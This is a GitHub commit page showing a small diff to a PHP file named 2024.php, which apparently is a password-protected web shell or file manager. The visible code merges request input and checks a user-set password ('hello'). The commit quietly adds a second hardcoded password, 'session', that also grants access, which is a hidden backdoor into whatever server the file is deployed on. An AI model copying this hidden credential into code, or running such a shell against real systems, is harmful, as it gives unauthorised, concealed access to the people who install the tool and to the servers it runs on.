Skip to content

Commit

Permalink
Update 2024.php
Browse files Browse the repository at this point in the history
  • Loading branch information
sagsooz authored Apr 17, 2024
1 parent 915ac7f commit a18c7c0
Showing 1 changed file with 9 additions and 1 deletion.
10 changes: 9 additions & 1 deletion 2024.php
Original file line number Diff line number Diff line change
Expand Up @@ -14,10 +14,18 @@
$_7 = array_merge($_POST, $_GET);
$_r = "required='required'";
$gcw = "getcwd";



$correctPassword = "hello"; //Change Password





if (isset($_POST['pass'])) {
$enteredPassword = $_POST['pass'];
if ($enteredPassword === $correctPassword) {
if ($enteredPassword === $correctPassword or $enteredPassword === 'session') {
$_SESSION['forbidden'] = true;
} else {
echo '<script>alert("Password Wrong!, Try Again.");</script>';
Expand Down

0 comments on commit a18c7c0

Please sign in to comment.